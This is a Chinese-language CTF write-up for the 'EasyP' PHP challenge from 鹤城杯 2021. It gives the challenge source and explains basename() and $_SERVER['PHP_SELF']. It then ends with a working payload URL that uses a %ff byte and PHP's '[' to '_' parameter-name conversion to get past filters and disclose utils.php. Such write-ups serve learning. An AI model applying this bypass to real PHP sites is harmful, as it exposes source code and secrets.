[鹤城杯 2021]EasyP
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
被狠狠地坑了一把,这题的secret变量是个坑,受不了了
先介绍$_SERVER(服务器变量)
在本题中涉及的用法
$_SERVER[‘PHP_SELF’] //返回当前执行脚本的文件名。
$_SERVER[‘SCRIPT_URI’] //返回当前⻚面的 URI。
再介绍一个basename()
bashname命令用于获取路径中的文件名或路径名
官方实例:
<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/")
?>
1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)
这题正确的的解题方法是:我们需要绕过正则preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])
,并且还要使show_source
该变量存在,但是由于preg_match
正则匹配,我们不能直接输入show_source=‘’,但是由于php的特性,会将遇到的第一个[ or .
变为_,所以在构造payload的时候我们可以将show_source变为show[source
绕过preg_match
正则方法是,在 index.php/utils.php后面添加一个非ascii表中的字符 (例如%ff)所以我们可以构造payload:
http://node4.anna.nssctf.cn:28204/index.php/utils.php/%ff?show[source=%27%27//这里的%27就是单引号